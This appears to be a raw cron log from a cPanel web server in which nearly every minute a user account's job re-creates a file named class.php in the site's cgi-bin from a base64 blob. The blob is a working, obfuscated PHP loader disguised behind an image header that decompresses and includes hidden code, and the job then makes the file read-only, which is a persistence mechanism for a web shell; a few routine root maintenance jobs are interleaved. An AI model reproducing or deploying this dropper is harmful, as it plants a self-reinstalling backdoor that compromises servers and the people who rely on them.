Nov 14 16:30:01 server CROND[10498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:30:01 server CROND[10499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:31:01 server CROND[11551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:32:01 server CROND[12318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:33:01 server CROND[12861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:34:01 server CROND[13777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:35:01 server CROND[14711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:35:01 server CROND[14713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:35:01 server CROND[14715]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 16:35:01 server CROND[14716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:35:01 server CROND[14717]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 16:36:01 server CROND[15560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:37:01 server CROND[16518]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:38:01 server CROND[17378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:39:01 server CROND[18246]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:39:01 server CROND[18247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:40:01 server CROND[19042]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 16:40:01 server CROND[19043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:40:01 server CROND[19045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:40:01 server CROND[19044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:41:01 server CROND[19966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:42:01 server CROND[20886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 16:42:01 server CROND[20887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
